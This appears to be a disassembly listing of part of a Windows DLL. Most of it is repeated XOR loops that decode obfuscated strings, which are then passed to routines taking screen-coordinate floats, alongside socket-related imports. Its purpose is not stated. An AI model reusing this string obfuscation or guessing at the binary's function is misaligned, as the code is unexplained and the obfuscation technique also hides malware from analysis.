jmp 0x180091614
cmp eax, 0x4c
jne 0x180091584
mov r8d, 0x8bb05fd7
jmp 0x180091614
cmp eax, 0x4d
jne 0x180091594
mov r8d, 0x440e4788
jmp 0x180091614
cmp eax, 0x4e
jne 0x1800915a1
mov r8d, 0x4e875f73
jmp 0x180091614
cmp eax, 0x4f
jne 0x1800915ae
mov r8d, 0xf9dcbf2d
jmp 0x180091614
cmp eax, 0x50
jne 0x1800915bb
mov r8d, 0xd8df3c3c
jmp 0x180091614
cmp eax, 0x51
jne 0x1800915c8
mov r8d, 0x99b507ea
jmp 0x180091614
cmp eax, 0x52
jne 0x1800915d5
mov r8d, 0xdd5df8d9
jmp 0x180091614
cmp eax, 0x53
jne 0x1800915e2
mov r8d, 0xdfe37640
jmp 0x180091614
cmp eax, 0x54
jne 0x1800915ef
mov r8d, 0x678b81b1
jmp 0x180091614
cmp eax, 0x55
jne 0x1800915fc
mov r8d, 0x19044ee0
jmp 0x180091614
cmp eax, 0x56
jne 0x180091609
mov r8d, 0xcd274149
jmp 0x180091614
cmp eax, 0x57
jne 0x180091634
mov r8d, 0x94117305
movzx eax, byte [reloc.WS2_32.dll_accept]
mov r9d, 0xff
mov rdx, qword [0x18024b0a0]
mov rcx, rsi
mov byte [rsp + 0x20], al
call fcn.1800b9a50
lea rcx, [rbp + 0x3020]
call fcn.180068dd0
call fcn.180006c20
call fcn.180013d50
jmp 0x18009165b
movss xmm6, dword [0x1801ad7d4]
lea r15, str._0.2f
cmp dword [0x18024dbfc], 2
jne 0x180095433
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x4f8]
addss xmm0, dword [0x1801c6db8]
mov dword [rbp + 0x4f8], 0x43520000
movss dword [rbp + 0x4fc], xmm0
call fcn.180025700
mov eax, dword [0x1801c34e4]
lea rdx, [rbp + 0x500]
mov dword [rbp + 0x30], eax
lea rcx, [rbp + 0x30]
movzx eax, byte [0x1801c34e8]
mov r9d, 8
xor byte [rbp + 0x31], 0x37
xor al, 0x3a
xor byte [rbp + 0x32], 0x38
xor r8d, r8d
xor byte [rbp + 0x33], 0x39
mov byte [rbp + 0x34], al
mov dword [rbp + 0x500], 0x43a50000
mov dword [rbp + 0x504], 0x4405c000
mov byte [rbp + 0x30], Ordinal_79
call fcn.18000fcc0
cmp byte [0x1801c34f7], r14b
mov rax, qword [str._RPPYWYqXTU__]
mov qword [rbp + 0x510], rax
mov dword [rbp + 0x508], 0x43a00000
mov dword [rbp + 0x50c], 0x434e0000
je 0x180091854
cmp r12d, 2
jl 0x18009180a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x510]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x510], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x514]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x514], xmm2
jmp 0x180091854
lea r9, [rbp + 0x510]
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180091820
xor r9d, r9d
lea rdx, [rbp + 0x508]
mov r8b, 1
lea rcx, [rbp + 0x510]
call fcn.180003d00
mov eax, dword [0x1801c34f8]
lea rdx, [0x180248fe9]
mov dword [rbp + 0x218], eax
lea rcx, [rbp + 0x218]
movzx eax, word [0x1801c34fc]
xor byte [rbp + 0x219], 0x37
xor byte [rbp + 0x21a], 0x38
xor byte [rbp + 0x21b], 0x39
mov word [rbp + 0x21c], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x21c], 0x3a
xor al, 0x3c
xor byte [rbp + 0x21d], 0x3b
mov byte [rbp + 0x21e], al
mov byte [rbp + 0x218], 0x47
call fcn.1800032d0
movzx eax, word [0x1801c3510]
mov r8d, r14d
mov word [rbp + 0x2308], ax
movzx eax, byte [0x1801c3512]
mov byte [rbp + 0x230a], al
movups xmm0, xmmword [0x1801c3500]
movups xmmword [rbp + 0x22f8], xmm0
cmp r12d, 2
jl 0x180091a1b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x22fc]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180091920
cmp r8d, 0x13
jge 0x180091a64
movsxd rax, r8d
lea r9, [rbp + 0x22f8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x180091a30
lea rdx, [0x180248fe8]
lea rcx, [rbp + 0x22f8]
call fcn.1800032d0
movzx eax, word [0x1801c3528]
mov r8d, r14d
mov word [rbp + 0x22f0], ax
movzx eax, byte [0x1801c352a]
mov byte [rbp + 0x22f2], al
movups xmm0, xmmword [str.bJIeHRS_5b]
movups xmmword [rbp + 0x22e0], xmm0
cmp r12d, 2
jl 0x180091bbb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x22e4]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180091ac0
cmp r8d, 0x13
jge 0x180091c04
movsxd rax, r8d
lea r9, [rbp + 0x22e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x180091bd0
lea rdx, [0x180249001]
lea rcx, [rbp + 0x22e0]
call fcn.1800032d0
cmp byte [0x1801c3539], r14b
movsd xmm0, qword [0x1801c3530]
movzx eax, word [0x1801c3538]
movsd qword [rbp + 0x1158], xmm0
mov word [rbp + 0x1160], ax
je 0x180091c84
xor byte [rbp + 0x1159], 0x37
xor byte [rbp + 0x115a], 0x38
xor byte [rbp + 0x115b], 0x39
xor byte [rbp + 0x115c], 0x3a
xor byte [rbp + 0x115d], 0x3b
xor byte [rbp + 0x115e], 0x3c
xor byte [rbp + 0x115f], 0x3d
xor byte [rbp + 0x1160], 0x3e
xor byte [rbp + 0x1161], 0x3f
mov byte [rbp + 0x1158], Ordinal_79
lea rdx, [0x180249000]
lea rcx, [rbp + 0x1158]
call fcn.1800032d0
cmp byte [0x1801c354d], r14b
mov eax, dword [0x1801c3548]
movsd xmm0, qword [0x1801c3540]
mov dword [rbp + 0x1b78], eax
movzx eax, word [0x1801c354c]
mov word [rbp + 0x1b7c], ax
movsd qword [rbp + 0x1b70], xmm0
je 0x180091e14
mov r8d, r14d
cmp r12d, 2
jl 0x180091dc8
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3540]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1b70], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b74]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b74], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b70]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180091de0
lea rdx, [0x180248fea]
lea rcx, [rbp + 0x1b70]
call fcn.1800032d0
cmp byte [0x1801c355d], r14b
mov eax, dword [0x1801c3558]
movsd xmm0, qword [str.sVK_]
mov dword [rbp + 0x1b88], eax
movzx eax, word [0x1801c355c]
mov word [rbp + 0x1b8c], ax
movsd qword [rbp + 0x1b80], xmm0
je 0x180091fa4
mov r8d, r14d
cmp r12d, 2
jl 0x180091f58
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.sVK_]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1b80], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b84]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b84], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b80]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180091f70
lea rdx, [0x180249002]
lea rcx, [rbp + 0x1b80]
call fcn.1800032d0
movzx eax, word [0x1801c3568]
lea rdx, [0x180249003]
movsd xmm0, qword [0x1801c3560]
lea rcx, [rbp + 0x13b8]
movsd qword [rbp + 0x13b8], xmm0
xor byte [rbp + 0x13b9], 0x37
xor byte [rbp + 0x13ba], 0x38
xor byte [rbp + 0x13bb], 0x39
xor byte [rbp + 0x13bc], 0x3a
xor byte [rbp + 0x13bd], 0x3b
xor byte [rbp + 0x13be], 0x3c
xor byte [rbp + 0x13bf], 0x3d
mov word [rbp + 0x13c0], ax
movzx eax, byte [0x1801c356a]
xor byte [rbp + 0x13c0], 0x3e
xor al, 0x40
xor byte [rbp + 0x13c1], 0x3f
mov byte [rbp + 0x13c2], al
mov byte [rbp + 0x13b8], 0x48
call fcn.1800032d0
cmp byte [0x1801c357d], r14b
mov eax, dword [str.M___C]
movsd xmm0, qword [0x1801c3570]
mov dword [rbp + 0x1b98], eax
movzx eax, word [0x1801c357c]
mov word [rbp + 0x1b9c], ax
movsd qword [rbp + 0x1b90], xmm0
je 0x1800921b4
mov r8d, r14d
cmp r12d, 2
jl 0x18009216e
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3570]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1b90], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b94]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b94], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b90]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180092180
lea rdx, [0x180249004]
lea rcx, [rbp + 0x1b90]
call fcn.1800032d0
cmp byte [0x1801c358b], r14b
movsd xmm0, qword [str.wBLV]
mov eax, dword [0x1801c3588]
movsd qword [rbp + 0x1668], xmm0
mov dword [rbp + 0x1670], eax
je 0x180092334
mov r8d, r14d
cmp r12d, 2
jl 0x1800922ea
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.wBLV]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1668], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x166c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x166c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1668]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180092300
lea rdx, [0x180248fed]
lea rcx, [rbp + 0x1668]
call fcn.1800032d0
mov eax, dword [0x1801c3598]
mov r8d, r14d
movsd xmm0, qword [str.dX_R_O]
mov dword [rbp + 0x17d8], eax
movzx eax, byte [0x1801c359c]
mov byte [rbp + 0x17dc], al
movsd qword [rbp + 0x17d0], xmm0
cmp r12d, 2
jl 0x18009246a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.dX_R_O]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x17d0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17d4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17d4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180092480
lea rdx, [0x180248fee]
lea rcx, [rbp + 0x17d0]
call fcn.1800032d0
movzx eax, byte [0x1801c35a8]
lea rdx, [0x180248fef]
movsd xmm0, qword [str.BUI]
lea rcx, [rbp + 0xe78]
movsd qword [rbp + 0xe78], xmm0
xor al, 0x3e
xor byte [rbp + 0xe79], 0x37
xor byte [rbp + 0xe7a], 0x38
xor byte [rbp + 0xe7b], 0x39
xor byte [rbp + 0xe7c], 0x3a
xor byte [rbp + 0xe7d], 0x3b
xor byte [rbp + 0xe7e], 0x3c
xor byte [rbp + 0xe7f], 0x3d
mov byte [rbp + 0xe80], al
mov byte [rbp + 0xe78], Ordinal_79
call fcn.1800032d0
cmp byte [0x180248fec], r14b
jne 0x1800926dd
cmp byte [0x1801c35bd], r14b
mov eax, dword [str._P_.0C]
movsd xmm0, qword [0x1801c35b0]
mov dword [rbp + 0x1ba8], eax
movzx eax, word [0x1801c35bc]
mov word [rbp + 0x1bac], ax
movsd qword [rbp + 0x1ba0], xmm0
je 0x1800926b4
mov r8d, r14d
cmp r12d, 2
jl 0x18009266f
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c35b0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1ba0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ba4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ba4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ba0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180092680
lea rdx, [rbp + 0x1ba0]
lea rcx, [rbp + 0x2b30]
call fcn.1800635b0
mov rcx, rax
lea r8, [0x180248ff0]
lea rdx, [0x180248feb]
call fcn.18006f530
cmp byte [0x180248feb], r14b
jne 0x180092897
cmp byte [0x1801c35d5], r14b
mov eax, dword [0x1801c35d0]
movups xmm0, xmmword [str.dVQWXTK]
mov dword [rbp + 0x2620], eax
movzx eax, word [0x1801c35d4]
movups xmmword [rbp + 0x2610], xmm0
mov word [rbp + 0x2624], ax
je 0x180092884
mov r8d, r14d
cmp r12d, 2
jl 0x18009283b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2614]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180092740
cmp r8d, 0x16
jge 0x180092884
movsxd rax, r8d
lea r9, [rbp + 0x2610]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x180092850
lea rdx, [0x180248fec]
lea rcx, [rbp + 0x2610]
call fcn.1800032d0
call fcn.180006c20
movzx eax, byte [0x1801c35e0]
lea rdx, [rbp + 0x518]
movsd xmm1, qword [str.pBVZNRSS_]
lea rcx, [rbp + 0xe88]
movsd qword [rbp + 0xe88], xmm1
xor al, 0x3e
xor byte [rbp + 0xe89], 0x37
xor r9d, r9d
xor byte [rbp + 0xe8a], 0x38
mov r8b, 1
xor byte [rbp + 0xe8b], 0x39
xor byte [rbp + 0xe8c], 0x3a
xor byte [rbp + 0xe8d], 0x3b
xor byte [rbp + 0xe8e], 0x3c
xor byte [rbp + 0xe8f], 0x3d
mov byte [rbp + 0xe90], al
mov dword [rbp + 0x51c], 0x435bce89
mov dword [rbp + 0x518], 0x43a00000
mov byte [rbp + 0xe88], 0x46
call fcn.180003d00
lea rcx, [rbp + 0x520]
call fcn.180016840
movzx ecx, word [0x1801c35e8]
lea rdx, [rbp + 0x528]
movss xmm0, dword [rax]
mov eax, dword [str.dRHXSI_]
mov dword [rbp + 0x290], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x291], 0x37
xor al, 0x3c
xor byte [rbp + 0x292], 0x38
xor byte [rbp + 0x293], 0x39
mov word [rbp + 0x294], cx
xor cl, 0x3a
xor byte [rbp + 0x295], 0x3b
mov byte [rbp + 0x294], cl
lea rcx, [rbp + 0x290]
mov byte [rbp + 0x296], al
movss dword [rbp + 0x528], xmm0
mov dword [rbp + 0x52c], 0x42200000
mov byte [rbp + 0x290], 0x52
call fcn.180002c70
test al, al
je 0x1800929d5
mov rcx, qword [0x18024b0a0]
test rcx, rcx
je 0x1800929d5
mov rax, qword [0x1802492f0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x1800929d5
mov rax, qword [0x180249390]
mov byte [rax + rdx], reloc.WS2_32.dll_socket
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
